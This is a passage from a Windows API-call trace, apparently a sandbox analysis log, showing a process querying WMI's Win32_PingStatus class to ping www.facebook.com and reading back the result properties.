wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x2293570*=8, plFlavor=0x2293574*=64) returned 0x0 [0138.625] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.625] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.625] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__RELPATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293604*=0, plFlavor=0x2293608*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2293604*=8, plFlavor=0x2293608*=64) returned 0x0 [0138.625] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.625] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a8 [0138.625] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x229384c*=0, plFlavor=0x2293850*=0 | out: pVal=0x572e918*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x229384c*=3, plFlavor=0x2293850*=64) returned 0x0 [0138.625] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__DERIVATION", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293994*=0, plFlavor=0x2293998*=0 | out: pVal=0x572e918*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x5c78c98*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x5c68968, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x2293994*=8200, plFlavor=0x2293998*=64) returned 0x0 [0138.626] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293a04*=0, plFlavor=0x2293a08*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x2293a04*=8, plFlavor=0x2293a08*=64) returned 0x0 [0138.626] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.626] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.626] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293a8c*=0, plFlavor=0x2293a90*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x2293a8c*=8, plFlavor=0x2293a90*=64) returned 0x0 [0138.626] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.626] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.626] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__PATH", lFlags=0, pVal=0x572e918*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2293b60*=0, plFlavor=0x2293b64*=0 | out: pVal=0x572e918*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x2293b60*=8, plFlavor=0x2293b64*=64) returned 0x0 [0138.626] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.626] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.facebook.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d8 [0138.626] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0138.626] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0138.626] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.626] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b4a8, puCount=0x572e95c | out: puCount=0x572e95c*=0x2) returned 0x0 [0138.626] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0x0, pszText=0x0 | out: puBuffLength=0x572e958*=0xf, pszText=0x0) returned 0x0 [0138.626] WbemDefPath:IWbemPath:GetText (in: This=0x37b4a8, lFlags=4, puBuffLength=0x572e958*=0xf, pszText="00000000000000" | out: puBuffLength=0x572e958*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.626] IWbemClassObject:GetNames (in: This=0x5c506a0, wszQualifierName=0x0, lFlags=64, pQualifierVal=0x572e964*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x572e958 | out: pNames=0x572e958*="\x01ƀ\x04") returned 0x0 [0138.627] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.627] SafeArrayGetDim (psa=0x5c78d28) returned 0x1 [0138.627] SafeArrayGetLBound (in: psa=0x5c78d28, nDim=0x1, plLbound=0x572e7f0 | out: plLbound=0x572e7f0) returned 0x0 [0138.627] SysStringByteLen (bstr="Address") returned 0xe [0138.627] SysStringByteLen (bstr="Address") returned 0xe [0138.627] SysStringByteLen (bstr="BufferSize") returned 0x14 [0138.627] SysStringByteLen (bstr="BufferSize") returned 0x14 [0138.627] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0138.627] SysStringByteLen (bstr="NoFragmentation") returned 0x1e [0138.627] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0138.627] SysStringByteLen (bstr="PrimaryAddressResolutionStatus") returned 0x3c [0138.627] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0138.627] SysStringByteLen (bstr="ProtocolAddress") returned 0x1e [0138.627] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0138.627] SysStringByteLen (bstr="ProtocolAddressResolved") returned 0x2e [0138.627] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0138.627] SysStringByteLen (bstr="RecordRoute") returned 0x16 [0138.627] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0138.627] SysStringByteLen (bstr="ReplyInconsistency") returned 0x24 [0138.628] SysStringByteLen (bstr="ReplySize") returned 0x12 [0138.628] SysStringByteLen (bstr="ReplySize") returned 0x12 [0138.628] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0138.628] SysStringByteLen (bstr="ResolveAddressNames") returned 0x26 [0138.628] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0138.628] SysStringByteLen (bstr="ResponseTime") returned 0x18 [0138.628] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0138.628] SysStringByteLen (bstr="ResponseTimeToLive") returned 0x24 [0138.628] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0138.628] SysStringByteLen (bstr="RouteRecord") returned 0x16 [0138.628] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0138.628] SysStringByteLen (bstr="RouteRecordResolved") returned 0x26 [0138.628] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0138.628] SysStringByteLen (bstr="SourceRoute") returned 0x16 [0138.628] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0138.628] SysStringByteLen (bstr="SourceRouteType") returned 0x1e [0138.628] SysStringByteLen (bstr="StatusCode") returned 0x14 [0138.628] SysStringByteLen (bstr="StatusCode") returned 0x14 [0138.628] SysStringByteLen (bstr="Timeout") returned 0xe [0138.628] SysStringByteLen (bstr="Timeout") returned 0xe [0138.628] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0138.628] SysStringByteLen (bstr="TimeStampRecord") returned 0x1e [0138.628] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0138.628] SysStringByteLen (bstr="TimeStampRecordAddress") returned 0x2c [0138.628] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0138.629] SysStringByteLen (bstr="TimeStampRecordAddressResolved") returned 0x3c [0138.629] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0138.629] SysStringByteLen (bstr="TimestampRoute") returned 0x1c [0138.629] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0138.629] SysStringByteLen (bstr="TimeToLive") returned 0x14 [0138.629] SysStringByteLen (bstr="TypeofService") returned 0x1a [0138.629] SysStringByteLen (bstr="TypeofService") returned 0x1a [0138.629] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Address", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22942cc*=0, plFlavor=0x22942d0*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="www.facebook.com", varVal2=0x0), pType=0x22942cc*=8, plFlavor=0x22942d0*=0) returned 0x0 [0138.629] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.629] SysStringByteLen (bstr="www.facebook.com") returned 0x20 [0138.629] IWbemClassObject:Get (in: This=0x5c506a0, wszName="BufferSize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294360*=0, plFlavor=0x2294364*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x2294360*=19, plFlavor=0x2294364*=0) returned 0x0 [0138.629] IWbemClassObject:Get (in: This=0x5c506a0, wszName="NoFragmentation", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22943d0*=0, plFlavor=0x22943d4*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22943d0*=11, plFlavor=0x22943d4*=0) returned 0x0 [0138.630] IWbemClassObject:Get (in: This=0x5c506a0, wszName="PrimaryAddressResolutionStatus", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294608*=0, plFlavor=0x229460c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294608*=19, plFlavor=0x229460c*=0) returned 0x0 [0138.630] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ProtocolAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294678*=0, plFlavor=0x229467c*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="69.171.250.35", varVal2=0x0), pType=0x2294678*=8, plFlavor=0x229467c*=0) returned 0x0 [0138.630] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0138.630] SysStringByteLen (bstr="69.171.250.35") returned 0x1a [0138.630] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ProtocolAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294704*=0, plFlavor=0x2294708*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2294704*=8, plFlavor=0x2294708*=32) returned 0x0 [0138.630] SysStringByteLen (bstr="") returned 0x0 [0138.630] SysStringByteLen (bstr="") returned 0x0 [0138.630] IWbemClassObject:Get (in: This=0x5c506a0, wszName="RecordRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294768*=0, plFlavor=0x229476c*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294768*=19, plFlavor=0x229476c*=0) returned 0x0 [0138.631] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ReplyInconsistency", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294864*=0, plFlavor=0x2294868*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294864*=11, plFlavor=0x2294868*=0) returned 0x0 [0138.631] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ReplySize", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22948d4*=0, plFlavor=0x22948d8*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x20, varVal2=0x0), pType=0x22948d4*=19, plFlavor=0x22948d8*=0) returned 0x0 [0138.631] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ResolveAddressNames", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294944*=0, plFlavor=0x2294948*=0 | out: pVal=0x572e954*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294944*=11, plFlavor=0x2294948*=0) returned 0x0 [0138.631] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ResponseTime", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22949b4*=0, plFlavor=0x22949b8*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x11, varVal2=0x0), pType=0x22949b4*=19, plFlavor=0x22949b8*=0) returned 0x0 [0138.632] IWbemClassObject:Get (in: This=0x5c506a0, wszName="ResponseTimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294a24*=0, plFlavor=0x2294a28*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x36, varVal2=0x0), pType=0x2294a24*=19, plFlavor=0x2294a28*=0) returned 0x0 [0138.632] IWbemClassObject:Get (in: This=0x5c506a0, wszName="RouteRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294a94*=0, plFlavor=0x2294a98*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294a94*=8200, plFlavor=0x2294a98*=32) returned 0x0 [0138.632] IWbemClassObject:Get (in: This=0x5c506a0, wszName="RouteRecordResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294af8*=0, plFlavor=0x2294afc*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294af8*=8200, plFlavor=0x2294afc*=32) returned 0x0 [0138.632] IWbemClassObject:Get (in: This=0x5c506a0, wszName="SourceRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294b5c*=0, plFlavor=0x2294b60*=0 | out: pVal=0x572e954*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="", varVal2=0x0), pType=0x2294b5c*=8, plFlavor=0x2294b60*=0) returned 0x0 [0138.632] SysStringByteLen (bstr="") returned 0x0 [0138.632] SysStringByteLen (bstr="") returned 0x0 [0138.633] IWbemClassObject:Get (in: This=0x5c506a0, wszName="SourceRouteType", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294bc0*=0, plFlavor=0x2294bc4*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294bc0*=19, plFlavor=0x2294bc4*=0) returned 0x0 [0138.633] IWbemClassObject:Get (in: This=0x5c506a0, wszName="StatusCode", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294c30*=0, plFlavor=0x2294c34*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2294c30*=19, plFlavor=0x2294c34*=0) returned 0x0 [0138.633] IWbemClassObject:Get (in: This=0x5c506a0, wszName="Timeout", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22950d8*=0, plFlavor=0x22950dc*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xfa0, varVal2=0x0), pType=0x22950d8*=19, plFlavor=0x22950dc*=0) returned 0x0 [0138.633] IWbemClassObject:Get (in: This=0x5c506a0, wszName="TimeStampRecord", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295148*=0, plFlavor=0x229514c*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295148*=8211, plFlavor=0x229514c*=32) returned 0x0 [0138.633] IWbemClassObject:Get (in: This=0x5c506a0, wszName="TimeStampRecordAddress", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22951ac*=0, plFlavor=0x22951b0*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22951ac*=8200, plFlavor=0x22951b0*=32) returned 0x0 [0138.634] IWbemClassObject:Get (in: This=0x5c506a0, wszName="TimeStampRecordAddressResolved", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295210*=0, plFlavor=0x2295214*=0 | out: pVal=0x572e954*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295210*=8200, plFlavor=0x2295214*=32) returned 0x0 [0138.634] IWbemClassObject:Get (in: This=0x5c506a0, wszName="TimestampRoute", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295274*=0, plFlavor=0x2295278*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295274*=19, plFlavor=0x2295278*=0) returned 0x0 [0138.634] IWbemClassObject:Get (in: This=0x5c506a0, wszName="TimeToLive", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x22952e4*=0, plFlavor=0x22952e8*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x50, varVal2=0x0), pType=0x22952e4*=19, plFlavor=0x22952e8*=0) returned 0x0 [0138.634] IWbemClassObject:Get (in: This=0x5c506a0, wszName="TypeofService", lFlags=0, pVal=0x572e954*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295460*=0, plFlavor=0x2295464*=0 | out: pVal=0x572e954*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2295460*=19, plFlavor=0x2295464*=0) returned 0x0 [0138.634] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__SERVER", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=0, plFlavor=0x572e968*=0 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0138.634] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.634] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.635] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__NAMESPACE", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0138.635] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.635] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.635] IWbemClassObject:Get (in: This=0x5c506a0, wszName="__CLASS", lFlags=0, pVal=0x572e8e8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64 | out: pVal=0x572e8e8*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x572e96c*=8, plFlavor=0x572e968*=64) returned 0x0 [0138.635] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.635] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.635] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x458 [0138.635] SetEvent (hEvent=0x3f4) returned 1 [0138.635] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x458, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0138.638] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0138.638] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0138.638] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b908, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b908) returned 0x0 [0138.638] WbemDefPath:IUnknown:AddRef (This=0x37b908) returned 0x3 [0138.638] WbemDefPath:IUnknown:Release (This=0x37b908) returned 0x2 [0138.638] WbemDefPath:IWbemPath:SetText (This=0x37b908, uMode=0x4, pszPath="") returned 0x0 [0138.638] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x468 [0138.638] SetEvent (hEvent=0x3f4) returned 1 [0138.639] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x468, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0138.641] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0138.641] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0138.641] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b898, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b898) returned 0x0 [0138.642] WbemDefPath:IUnknown:AddRef (This=0x37b898) returned 0x3 [0138.642] WbemDefPath:IUnknown:Release (This=0x37b898) returned 0x2 [0138.642] WbemDefPath:IWbemPath:SetText (This=0x37b898, uMode=0x4, pszPath="") returned 0x0 [0138.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b898, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0138.642] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b908, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0138.642] WbemDefPath:IWbemPath:GetClassName (in: This=0x37b898, puBuffLength=0x572e940*=0x0, pszName=0x0 | out: puBuffLength=0x572e940*=0x0, pszName=0x0) returned 0x8004103a [0138.642] WbemDefPath:IWbemPath:GetServer (in: This=0x37b898, puNameBufLength=0x572e93c*=0x0, pName=0x0 | out: puNameBufLength=0x572e93c*=0x0, pName=0x0) returned 0x80041009 [0138.642] WbemDefPath:IWbemPath:SetServer (This=0x37b898, Name="Q9IATRKPRH") returned 0x0 [0138.642] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x500 [0138.642] SetEvent (hEvent=0x3f4) returned 1 [0138.642] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572e844*=0x500, lpdwindex=0x572e668 | out: lpdwindex=0x572e668) returned 0x0 [0138.645] CoGetContextToken (in: pToken=0x572e71c | out: pToken=0x572e71c) returned 0x0 [0138.645] CoGetContextToken (in: pToken=0x572e67c | out: pToken=0x572e67c) returned 0x0 [0138.645] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b828, riid=0x572e74c*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x572e748 | out: ppvObject=0x572e748*=0x37b828) returned 0x0 [0138.645] WbemDefPath:IUnknown:AddRef (This=0x37b828) returned 0x3 [0138.645] WbemDefPath:IUnknown:Release (This=0x37b828) returned 0x2 [0138.645] WbemDefPath:IWbemPath:SetText (This=0x37b828, uMode=0x4, pszPath="root\\cimv2") returned 0x0 [0138.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b898, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x0) returned 0x0 [0138.645] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x37b828, puCount=0x572e8e8 | out: puCount=0x572e8e8*=0x2) returned 0x0 [0138.645] 